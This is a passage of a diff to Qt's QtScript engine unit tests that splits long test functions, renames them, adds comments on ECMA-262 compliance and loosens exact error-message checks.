QTest::newRow("print") << QString("print") << QString("print"); + // See ECMA-262 Chapter 15, "Standard Built-in ECMAScript Objects". + + QTest::newRow("print") << QString("print") << QString("print"); // QtScript extension. QTest::newRow("parseInt") << QString("parseInt") << QString("parseInt"); QTest::newRow("parseFloat") << QString("parseFloat") << QString("parseFloat"); QTest::newRow("isNaN") << QString("isNaN") << QString("isNaN"); @@ -1521,8 +1575,8 @@ void tst_QScriptEngine::builtinFunctionNames_data() QTest::newRow("encodeURIComponent") << QString("encodeURIComponent") << QString("encodeURIComponent"); QTest::newRow("escape") << QString("escape") << QString("escape"); QTest::newRow("unescape") << QString("unescape") << QString("unescape"); - QTest::newRow("version") << QString("version") << QString("version"); - QTest::newRow("gc") << QString("gc") << QString("gc"); + QTest::newRow("version") << QString("version") << QString("version"); // QtScript extension. + QTest::newRow("gc") << QString("gc") << QString("gc"); // QtScript extension. QTest::newRow("Array") << QString("Array") << QString("Array"); QTest::newRow("Array.prototype.toString") << QString("Array.prototype.toString") << QString("toString"); @@ -1673,6 +1727,7 @@ void tst_QScriptEngine::builtinFunctionNames() QFETCH(QString, expression); QFETCH(QString, expectedName); QScriptEngine eng; + // The "name" property is actually non-standard, but JSC supports it. QScriptValue ret = eng.evaluate(QString::fromLatin1("%0.name").arg(expression)); QVERIFY(ret.isString()); QCOMPARE(ret.toString(), expectedName); @@ -1894,22 +1949,24 @@ static QScriptValue eval_nested(QScriptContext *ctx, QScriptEngine *eng) return result; } +// Tests that nested evaluate uses the "this" that was passed. void tst_QScriptEngine::nestedEvaluate() { QScriptEngine eng; QScriptValue fun = eng.newFunction(eval_nested); eng.globalObject().setProperty("fun", fun); + // From JS function call { QScriptValue result = eng.evaluate("o = { id:'foo'}; o.fun = fun; o.fun()"); QCOMPARE(result.property("local_bar").toString(), QString("local")); QCOMPARE(result.property("thisObjectIdBefore").toString(), QString("foo")); QCOMPARE(result.property("thisObjectIdAfter").toString(), QString("foo")); QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo")); - QScriptValue bar = eng.evaluate("bar"); + QScriptValue bar = eng.evaluate("bar"); // Was introduced in local scope. QVERIFY(bar.isError()); - QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar")); + QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError"))); } - + // From QScriptValue::call() { QScriptValue result = fun.call(eng.evaluate("p = { id:'foo' }") , QScriptValueList() ); QCOMPARE(result.property("local_bar").toString(), QString("local")); @@ -1918,7 +1975,7 @@ void tst_QScriptEngine::nestedEvaluate() QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo")); QScriptValue bar = eng.evaluate("bar"); QVERIFY(bar.isError()); - QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar")); + QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError"))); } } @@ -1985,6 +2042,7 @@ void tst_QScriptEngine::errorMessage_QT679() engine.globalObject().setProperty("foo", 15); QScriptValue error = engine.evaluate("'hello world';\nfoo.bar.blah"); QVERIFY(error.isError()); + // The exact message is back-end specific and subject to change. QCOMPARE(error.toString(), QString::fromLatin1("TypeError: Result of expression 'foo.bar' [undefined] is not an object.")); } @@ -1997,37 +2055,40 @@ public: Q_DECLARE_METATYPE(Foo) Q_DECLARE_METATYPE(Foo*) -void tst_QScriptEngine::getSetDefaultPrototype() +void tst_QScriptEngine::getSetDefaultPrototype_int() { QScriptEngine eng; - { - QScriptValue object = eng.newObject(); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - eng.setDefaultPrototype(qMetaTypeId(), object); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); - QScriptValue value = eng.newVariant(int(123)); - QCOMPARE(value.prototype().isObject(), true); - QCOMPARE(value.prototype().strictlyEquals(object), true); - eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - QScriptValue value2 = eng.newVariant(int(123)); - QCOMPARE(value2.prototype().strictlyEquals(object), false); - } - { - QScriptValue object = eng.newObject(); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - eng.setDefaultPrototype(qMetaTypeId(), object); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); - QScriptValue value = eng.newVariant(qVariantFromValue(Foo())); - QCOMPARE(value.prototype().isObject(), true); - QCOMPARE(value.prototype().strictlyEquals(object), true); + QScriptValue object = eng.newObject(); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + eng.setDefaultPrototype(qMetaTypeId(), object); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); + QScriptValue value = eng.newVariant(int(123)); + QCOMPARE(value.prototype().isObject(), true); + QCOMPARE(value.prototype().strictlyEquals(object), true); - eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo())); - QCOMPARE(value2.prototype().strictlyEquals(object), false); - } + eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + QScriptValue value2 = eng.newVariant(int(123)); + QCOMPARE(value2.prototype().strictlyEquals(object), false); +} + +void tst_QScriptEngine::getSetDefaultPrototype_customType() +{ + QScriptEngine eng; + + QScriptValue object = eng.newObject(); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + eng.setDefaultPrototype(qMetaTypeId(), object); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); + QScriptValue value = eng.newVariant(qVariantFromValue(Foo())); + QCOMPARE(value.prototype().isObject(), true); + QCOMPARE(value.prototype().strictlyEquals(object), true); + + eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo())); + QCOMPARE(value2.prototype().strictlyEquals(object), false); } static QScriptValue fooToScriptValue(QScriptEngine *eng, const Foo &foo) @@ -2061,7 +2122,7 @@ Q_DECLARE_METATYPE(QStack) Q_DECLARE_METATYPE(QQueue) Q_DECLARE_METATYPE(QLinkedList >) -void tst_QScriptEngine::valueConversion() +void tst_QScriptEngine::valueConversion_basic() { QScriptEngine eng; { @@ -2123,7 +2184,11 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(qScriptValueToValue(code), c); QCOMPARE(qScriptValueToValue(qScriptValueFromValue(&eng, c)), c); } +} +void tst_QScriptEngine::valueConversion_customType() +{ + QScriptEngine eng; { // a type that we don't have built-in conversion of // (it's stored as a variant) @@ -2169,7 +2234,11 @@ void tst_QScriptEngine::valueConversion() QVERIFY(fooVal2.property("x").strictlyEquals(QScriptValue(&eng, 56))); QVERIFY(fooVal2.property("y").strictlyEquals(QScriptValue(&eng, 78))); } +} +void tst_QScriptEngine::valueConversion_sequence() +{ + QScriptEngine eng; qScriptRegisterSequenceMetaType >(&eng); { @@ -2248,7 +2317,11 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(qscriptvalue_cast(val), lst); } +} +void tst_QScriptEngine::valueConversion_QVariant() +{ + QScriptEngine eng; // qScriptValueFromValue() should be "smart" when the argument is a QVariant { QScriptValue val = qScriptValueFromValue(&eng, QVariant()); @@ -2325,7 +2398,12 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(val.toVariant(), var); } - // task 248802 + QCOMPARE(qscriptvalue_cast(QScriptValue(123)), QVariant(123)); +} + +void tst_QScriptEngine::valueConversion_hooliganTask248802() +{ + QScriptEngine eng; qScriptRegisterMetaType(&eng, fooToScriptValueV2, fooFromScriptValueV2); { QScriptValue num(&eng, 123); @@ -2343,6 +2421,11 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(foo.x, 123); } +} + +void tst_QScriptEngine::valueConversion_basic2() +{ + QScriptEngine eng; // more built-in types { QScriptValue val = qScriptValueFromValue(&eng, uint(123)); @@ -2379,6 +2462,11 @@ void tst_QScriptEngine::valueConversion() QVERIFY(val.isNumber()); QCOMPARE(val.toInt32(), 123); } +} + +void tst_QScriptEngine::valueConversion_dateTime() +{ + QScriptEngine eng; { QDateTime in = QDateTime::currentDateTime(); QScriptValue val = qScriptValueFromValue(&eng, in); @@ -2391,6 +2479,11 @@ void tst_QScriptEngine::valueConversion() QVERIFY(val.isDate()); QCOMPARE(val.toDateTime().date(), in); } +} + +void tst_QScriptEngine::valueConversion_regExp() +{ + QScriptEngine eng; { QRegExp in = QRegExp("foo"); QScriptValue val = qScriptValueFromValue(&eng, in); @@ -2416,8 +2509,6 @@ void tst_QScriptEngine::valueConversion() QEXPECT_FAIL("", "QTBUG-6136: JSC-based back-end doesn't preserve QRegExp::minimal (always false)", Continue); QCOMPARE(val.toRegExp().isMinimal(), in.isMinimal()); } - - QCOMPARE(qscriptvalue_cast(QScriptValue(123)), QVariant(123)); } void tst_QScriptEngine::qScriptValueFromValue_noEngine() @@ -2522,7 +2613,7 @@ void tst_QScriptEngine::importExtension() QEXPECT_FAIL("", "JSC throws syntax error eagerly", Continue); QCOMPARE(eng.uncaughtExceptionLineNumber(), 4); QVERIFY(ret.isError()); - QCOMPARE(ret.property("message").toString(), QLatin1String("Parse error")); + QVERIFY(ret.toString().contains(QLatin1String("SyntaxError"))); } QStringList imp = eng.importedExtensions(); QCOMPARE(imp.size(), 2); @@ -2548,6 +2639,9 @@ static QScriptValue recurse2(QScriptContext *ctx, QScriptEngine *eng) void tst_QScriptEngine::infiniteRecursion() { + // Infinite recursion in JS should cause the VM to throw an error + // when the JS stack is exhausted. + // The exact error is back-end specific and subject to change. const QString stackOverflowError = QString::fromLatin1("RangeError: Maximum call stack size exceeded."); QScriptEngine eng; { @@ -2610,6 +2704,8 @@ void tst_QScriptEngine::castWithPrototypeChain() baz2.b = 456; QScriptValue baz2Value = qScriptValueFromValue(&eng, &baz2); { + // qscriptvalue_cast() does magic; if the QScriptValue contains + // t of type T, and the target type is T*, &t is returned. Baz *pbaz = qscriptvalue_cast(baz2Value); QVERIFY(pbaz != 0); QCOMPARE(pbaz->b, baz2.b); @@ -2632,6 +2728,13 @@ void tst_QScriptEngine::castWithPrototypeChain() } // establish chain -- now casting should work + // Why? because qscriptvalue_cast() does magic again. + // It the instance itself is not of type T, qscriptvalue_cast() + // searches the prototype chain for T, and if it finds one, it infers + // that the instance can also be casted to that type. This cast is + // _not_ safe and thus relies on the developer doing the right thing. + // This is an undocumented feature to enable qscriptvalue_cast() to + // be used by prototype functions to cast the JS this-object to C++. bazProto.setPrototype(barProto); { @@ -2740,6 +2843,9 @@ void tst_QScriptEngine::collectGarbage() void tst_QScriptEngine::reportAdditionalMemoryCost() { QScriptEngine eng; + // There isn't any reliable way to test whether calling + // this function affects garbage collection responsiveness; + // the best we can do is call it with a few different values. for (int x = 0; x < 1000; ++x) { eng.reportAdditionalMemoryCost(0); eng.reportAdditionalMemoryCost(10); @@ -2757,6 +2863,8 @@ void tst_QScriptEngine::reportAdditionalMemoryCost() void tst_QScriptEngine::gcWithNestedDataStructure() { + // The GC must be able to traverse deeply nested objects, otherwise this + // test would crash. QScriptEngine eng; eng.evaluate( "function makeList(size)" @@ -2778,6 +2886,7 @@ void tst_QScriptEngine::gcWithNestedDataStructure() if (x == 1) eng.evaluate("gc()"); QScriptValue l = head; + // Make sure all the nodes are still alive. for (int i = 0; i < 200; ++i) { QCOMPARE(l.property("data").toString(), QString::number(i)); l = l.property("next"); @@ -2807,6 +2916,8 @@ void tst_QScriptEngine::processEventsWhileRunning() if (x == 0) eng.pushContext(); + // This is running for a silly amount of time just to make sure + // the script doesn't finish before event processing is triggered. QString script = QString::fromLatin1( "var end = Number(new Date()) + 2000;" "var x = 0;" @@ -3012,6 +3123,8 @@ void tst_QScriptEngine::numberParsing() } // see ECMA-262, section 7.9 +// This is testing ECMA compliance, not our C++ API, but it's important that +// the back-end is conformant in this regard. void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptEngine eng; @@ -3257,7 +3370,7 @@ static QScriptValue myFunctionAbortingEvaluation(QScriptContext *, QScriptEngine return eng->nullValue(); // should be ignored } -void tst_QScriptEngine::abortEvaluation() +void tst_QScriptEngine::abortEvaluation_notEvaluating() { QScriptEngine eng; @@ -3270,7 +3383,11 @@ void tst_QScriptEngine::abortEvaluation() QVERIFY(ret.isString()); QCOMPARE(ret.toString(), QString::fromLatin1("ciao")); } +} +void tst_QScriptEngine::abortEvaluation() +{ + QScriptEngine eng; EventReceiver3 receiver(&eng); eng.setProcessEventsInterval(100); @@ -3301,6 +3418,13 @@ void tst_QScriptEngine::abortEvaluation() } } +} + +void tst_QScriptEngine::abortEvaluation_tryCatch() +{ + QScriptEngine eng; + EventReceiver3 receiver(&eng); + eng.setProcessEventsInterval(100); // scripts cannot intercept the abortion with try/catch for (int y = 0; y < 4; ++y) { QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1))); @@ -3334,13 +3458,15 @@ void tst_QScriptEngine::abortEvaluation() break; } } +} - { - QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation); - eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun); - QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()"); - QVERIFY(!ret.isValid()); - } +void tst_QScriptEngine::abortEvaluation_fromNative() +{ + QScriptEngine eng; + QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation); + eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun); + QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()"); + QVERIFY(!ret.isValid()); } class ThreadedEngine : public QThread { @@ -3407,7 +3533,7 @@ public: bool wasEvaluating; }; -void tst_QScriptEngine::isEvaluating() +void tst_QScriptEngine::isEvaluating_notEvaluating() { QScriptEngine eng; @@ -3419,30 +3545,34 @@ void tst_QScriptEngine::isEvaluating() QVERIFY(!eng.isEvaluating()); eng.evaluate("0 = 0"); QVERIFY(!eng.isEvaluating()); +} - { - QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating); - eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun); - QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()"); - QVERIFY(ret.isBoolean()); - QVERIFY(ret.toBoolean()); - } +void tst_QScriptEngine::isEvaluating_fromNative() +{ + QScriptEngine eng; + QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating); + eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun); + QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()"); + QVERIFY(ret.isBoolean()); + QVERIFY(ret.toBoolean()); +} - { - EventReceiver4 receiver(&eng); - QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1))); +void tst_QScriptEngine::isEvaluating_fromEvent() +{ + QScriptEngine eng; + EventReceiver4 receiver(&eng); + QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1))); - QString script = QString::fromLatin1( - "var end = Number(new Date()) + 1000;" - "var x = 0;" - "while (Number(new Date()) < end) {" - " ++x;" - "}"); + QString script = QString::fromLatin1( + "var end = Number(new Date()) + 1000;" + "var x = 0;" + "while (Number(new Date()) < end) {" + " ++x;" + "}"); - eng.setProcessEventsInterval(100); - eng.evaluate(script); - QVERIFY(receiver.wasEvaluating); - } + eng.setProcessEventsInterval(100); + eng.evaluate(script); + QVERIFY(receiver.wasEvaluating); } static QtMsgType theMessageType; @@ -3456,24 +3586,33 @@ static void myMsgHandler(QtMsgType type, const char *msg) void tst_QScriptEngine::printFunctionWithCustomHandler() { + // The built-in print() function passes the output to Qt's message + // handler. By installing a custom message handler, the output can be + // redirected without changing the print() function itself. + // This behavior is not documented. QScriptEngine eng; QtMsgHandler oldHandler = qInstallMsgHandler(myMsgHandler); QVERIFY(eng.globalObject().property("print").isFunction()); + theMessageType = QtSystemMsg; QVERIFY(theMessage.isEmpty()); QVERIFY(eng.evaluate("print('test')").isUndefined()); QCOMPARE(theMessageType, QtDebugMsg); QCOMPARE(theMessage, QString::fromLatin1("test")); + theMessageType = QtSystemMsg; theMessage.clear(); QVERIFY(eng.evaluate("print(3, true, 'little pigs')").isUndefined()); QCOMPARE(theMessageType, QtDebugMsg); QCOMPARE(theMessage, QString::fromLatin1("3 true little pigs")); + qInstallMsgHandler(oldHandler); } void tst_QScriptEngine::printThrowsException() { + // If an argument to print() causes an exception to be thrown when + // it's converted to a string, print() should propagate the exception. QScriptEngine eng; QScriptValue ret = eng.evaluate("print({ toString: function() { throw 'foo'; } });"); QVERIFY(eng.hasUncaughtException()); @@ -3506,34 +3645,30 @@ void tst_QScriptEngine::errorConstructors() } } -static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng) +void tst_QScriptEngine::argumentsProperty_globalContext() { - eng->evaluate("var a = arguments[0];"); - eng->evaluate("arguments[0] = 200;"); - return eng->evaluate("a + arguments[0]"); + QScriptEngine eng; + { + // Unlike function calls, the global context doesn't have an + // arguments property. + QScriptValue ret = eng.evaluate("arguments"); + QVERIFY(ret.isError()); + QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError"))); + } + eng.evaluate("arguments = 10"); + { + QScriptValue ret = eng.evaluate("arguments"); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toInt32(), 10); + } + QVERIFY(eng.evaluate("delete arguments").toBoolean()); + QVERIFY(!eng.globalObject().property("arguments").isValid()); } - -void tst_QScriptEngine::argumentsProperty() +void tst_QScriptEngine::argumentsProperty_JS() { { QScriptEngine eng; - { - QScriptValue ret = eng.evaluate("arguments"); - QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: arguments")); - } - eng.evaluate("arguments = 10"); - { - QScriptValue ret = eng.evaluate("arguments"); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toInt32(), 10); - } - QVERIFY(eng.evaluate("delete arguments").toBoolean()); - QVERIFY(!eng.globalObject().property("arguments").isValid()); - } - { - QScriptEngine eng; eng.evaluate("o = { arguments: 123 }"); QScriptValue ret = eng.evaluate("with (o) { arguments; }"); QVERIFY(ret.isNumber()); @@ -3542,25 +3677,40 @@ void tst_QScriptEngine::argumentsProperty() { QScriptEngine eng; QVERIFY(!eng.globalObject().property("arguments").isValid()); + // This is testing ECMA-262 compliance. In function calls, "arguments" + // appears like a local variable, and it can be replaced. QScriptValue ret = eng.evaluate("(function() { arguments = 456; return arguments; })()"); QVERIFY(ret.isNumber()); QCOMPARE(ret.toInt32(), 456); QVERIFY(!eng.globalObject().property("arguments").isValid()); } +} - { - QScriptEngine eng; - QScriptValue fun = eng.newFunction(argumentsProperty_fun); - eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun)); - QScriptValue result = eng.evaluate("fun(18)"); - QVERIFY(result.isNumber()); - QCOMPARE(result.toInt32(), 218); - } +static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng) +{ + // Since evaluate() is done in the current context, "arguments" should + // refer to currentContext()->argumentsObject(). + // This is for consistency with the built-in JS eval() function. + eng->evaluate("var a = arguments[0];"); + eng->evaluate("arguments[0] = 200;"); + return eng->evaluate("a + arguments[0]"); } -void tst_QScriptEngine::numberClass() +void tst_QScriptEngine::argumentsProperty_evaluateInNativeFunction() { QScriptEngine eng; + QScriptValue fun = eng.newFunction(argumentsProperty_fun); + eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun)); + QScriptValue result = eng.evaluate("fun(18)"); + QVERIFY(result.isNumber()); + QCOMPARE(result.toInt32(), 200+18); +} + +void tst_QScriptEngine::jsNumberClass() +{ + // See ECMA-262 Section 15.7, "Number Objects". + + QScriptEngine eng; QScriptValue ctor = eng.globalObject().property("Number"); QVERIFY(ctor.property("length").isNumber()); @@ -3669,7 +3819,7 @@ void tst_QScriptEngine::numberClass() } } -void tst_QScriptEngine::forInStatement() +void tst_QScriptEngine::jsForInStatement_simple() { QScriptEngine eng; { @@ -3692,8 +3842,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(0), QString::fromLatin1("p")); QCOMPARE(lst.at(1), QString::fromLatin1("q")); } +} - // properties in prototype +void tst_QScriptEngine::jsForInStatement_prototypeProperties() +{ + QScriptEngine eng; { QScriptValue ret = eng.evaluate("o = { }; o.__proto__ = { p: 123 }; r = [];" "for (var p in o) r[r.length] = p; r"); @@ -3718,6 +3871,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(0), QString::fromLatin1("p")); } +} + +void tst_QScriptEngine::jsForInStatement_mutateWhileIterating() +{ + QScriptEngine eng; // deleting property during enumeration { QScriptValue ret = eng.evaluate("o = { p: 123 }; r = [];" @@ -3743,7 +3901,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(0), QString::fromLatin1("p")); } - // arrays +} + +void tst_QScriptEngine::jsForInStatement_arrays() +{ + QScriptEngine eng; { QScriptValue ret = eng.evaluate("a = [123, 456]; r = [];" "for (var p in a) r[r.length] = p; r"); @@ -3774,10 +3936,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(3), QString::fromLatin1("2")); QCOMPARE(lst.at(4), QString::fromLatin1("bar")); } +} - // null and undefined - // according to the spec, we should throw an exception; however, for - // compability with the real world, we don't +void tst_QScriptEngine::jsForInStatement_nullAndUndefined() +{ + QScriptEngine eng; { QScriptValue ret = eng.evaluate("r = true; for (var p in undefined) r = false; r"); QVERIFY(ret.isBool()); @@ -3790,9 +3953,17 @@ void tst_QScriptEngine::forInStatement() } } -void tst_QScriptEngine::functionExpression() +void tst_QScriptEngine::jsFunctionDeclarationAsStatement() { - // task 175679 + // ECMA-262 does not allow function declarations to be used as statements, + // but several popular implementations (including JSC) do. See the NOTE + // at the beginning of chapter 12 in ECMA-262 5th edition, where it's + // recommended that implementations either disallow this usage or issue + // a warning. + // Since we had a bug report long ago about QtScript not supporting this + // "feature" (and thus deviating from other implementations), we still + // check this behavior. + QScriptEngine eng; QVERIFY(!eng.globalObject().property("bar").isValid()); eng.evaluate("function foo(arg) {\n" @@ -3825,6 +3996,8 @@ void tst_QScriptEngine::functionExpression() void tst_QScriptEngine::stringObjects() { + // See ECMA-262 Section 15.5, "String Objects". + QScriptEngine eng; QString str("ciao"); // in C++ @@ -3886,7 +4059,11 @@ void tst_QScriptEngine::stringObjects() QVERIFY(ret7.isBoolean()); QVERIFY(ret7.toBoolean()); } +} +void tst_QScriptEngine::jsStringPrototypeReplaceBugs() +{ + QScriptEngine eng; // task 212440 { QScriptValue ret = eng.evaluate("replace_args = []; \"a a a\".replace(/(a)/g, function() { replace_args.push(arguments); }); replace_args"); @@ -4038,8 +4215,10 @@ void tst_QScriptEngine::getterSetterThisObject_activation() } } -void tst_QScriptEngine::continueInSwitch() +void tst_QScriptEngine::jsContinueInSwitch() { + // This is testing ECMA-262 compliance, not C++ API. + QScriptEngine eng; // switch - continue { @@ -4116,35 +4295,17 @@ void tst_QScriptEngine::continueInSwitch() } } -void tst_QScriptEngine::readOnlyPrototypeProperty() +void tst_QScriptEngine::jsShadowReadOnlyPrototypeProperty() { - QSKIP("JSC semantics differ from old back-end and SpiderMonkey", SkipAll); + // SpiderMonkey has different behavior than JSC and V8; it disallows + // creating a property on the instance if there's a property with the + // same name in the prototype, and that property is read-only. We + // adopted that behavior in the old (4.5) QtScript back-end, but it + // just seems weird -- and non-compliant. Adopt the JSC behavior instead. QScriptEngine eng; - QCOMPARE(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length = 4; o.length").toInt32(), 2); - QVERIFY(!eng.evaluate("o.hasOwnProperty('length')").toBoolean()); - QCOMPARE(eng.evaluate("o.length *= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length /= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length %= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length += 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length -= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length <<= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length >>= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length >>>= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length &= 0; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length ^= 255; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length |= 255; o.length").toInt32(), 2); - - { - QScriptValue ret = eng.evaluate("o.__defineGetter__('length', function() {})"); - QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property")); - } - { - QScriptValue ret = eng.evaluate("o.__defineSetter__('length', function() {})"); - QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property")); - } + QVERIFY(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").isNumber()); + QCOMPARE(eng.evaluate("o.length = 123; o.length").toInt32(), 123); + QVERIFY(eng.evaluate("o.hasOwnProperty('length')").toBoolean()); } void tst_QScriptEngine::toObject() @@ -4226,7 +4387,7 @@ void tst_QScriptEngine::toObject() QVERIFY(stringValue.isString()); } -void tst_QScriptEngine::reservedWords_data() +void tst_QScriptEngine::jsReservedWords_data() { QTest::addColumn("word"); QTest::newRow("break") << QString("break"); @@ -4259,8 +4420,13 @@ void tst_QScriptEngine::reservedWords_data() QTest::newRow("with") << QString("with"); } -void tst_QScriptEngine::reservedWords() +void tst_QScriptEngine::jsReservedWords() { + // See ECMA-262 Section 7.6.1, "Reserved Words". + // We prefer that the implementation is less strict than the spec; e.g. + // it's good to allow reserved words as identifiers in object literals, + // and when accessing properties using dot notation. + QFETCH(QString, word); { QScriptEngine eng; @@ -4298,7 +4464,7 @@ void tst_QScriptEngine::reservedWords() } } -void tst_QScriptEngine::futureReservedWords_data() +void tst_QScriptEngine::jsFutureReservedWords_data() { QTest::addColumn("word"); QTest::addColumn("allowed"); @@ -4335,8 +4501,12 @@ void tst_QScriptEngine::futureReservedWords_data() QTest::newRow("volatile") << QString("volatile") << true; } -void tst_QScriptEngine::futureReservedWords() +void tst_QScriptEngine::jsFutureReservedWords() { + // See ECMA-262 Section 7.6.1.2, "Future Reserved Words". + // In real-world implementations, most of these words are + // actually allowed as normal identifiers. + QFETCH(QString, word); QFETCH(bool, allowed); { @@ -4364,8 +4534,10 @@ void tst_QScriptEngine::futureReservedWords() } } -void tst_QScriptEngine::throwInsideWithStatement() +void tst_QScriptEngine::jsThrowInsideWithStatement() { + // This is testing ECMA-262 compliance, not C++ API. + // task 209988 QScriptEngine eng; { @@ -4379,7 +4551,7 @@ void tst_QScriptEngine::throwInsideWithStatement() " bad;" "}"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad")); + QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError"))); } { QScriptValue ret = eng.evaluate( @@ -4392,7 +4564,7 @@ void tst_QScriptEngine::throwInsideWithStatement() " bad;" "}"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad")); + QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError"))); } { eng.clearExceptions(); @@ -4419,7 +4591,7 @@ void tst_QScriptEngine::throwInsideWithStatement() QVERIFY(ret.isNumber()); QScriptValue ret2 = eng.evaluate("bug"); QVERIFY(ret2.isError()); - QCOMPARE(ret2.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bug")); + QVERIFY(ret2.toString().contains(QString::fromLatin1("ReferenceError"))); } } @@ -4429,106 +4601,116 @@ public: TestAgent(QScriptEngine *engine) : QScriptEngineAgent(engine) {} }; -void tst_QScriptEngine::getSetAgent() +void tst_QScriptEngine::getSetAgent_ownership() { - // case 1: engine deleted before agent --> agent deleted too - { - QScriptEngine *eng = new QScriptEngine; - QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); - TestAgent *agent = new TestAgent(eng); - eng->setAgent(agent); - QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); - eng->setAgent(0); // the engine maintains ownership of the old agent - QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); - delete eng; - } - // case 2: agent deleted before engine --> engine's agent should become 0 - { - QScriptEngine *eng = new QScriptEngine; - TestAgent *agent = new TestAgent(eng); - eng->setAgent(agent); - QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); - delete agent; - QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); - eng->evaluate("(function(){ return 123; })()"); - delete eng; - } - { - QScriptEngine eng; - QScriptEngine eng2; - TestAgent *agent = new TestAgent(&eng); - QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine"); - eng2.setAgent(agent); - QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0); - } + // engine deleted before agent --> agent deleted too + QScriptEngine *eng = new QScriptEngine; + QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); + TestAgent *agent = new TestAgent(eng); + eng->setAgent(agent); + QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); + eng->setAgent(0); // the engine maintains ownership of the old agent + QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); + delete eng; } -void tst_QScriptEngine::reentrancy() +void tst_QScriptEngine::getSetAgent_deleteAgent() { + // agent deleted before engine --> engine's agent should become 0 + QScriptEngine *eng = new QScriptEngine; + TestAgent *agent = new TestAgent(eng); 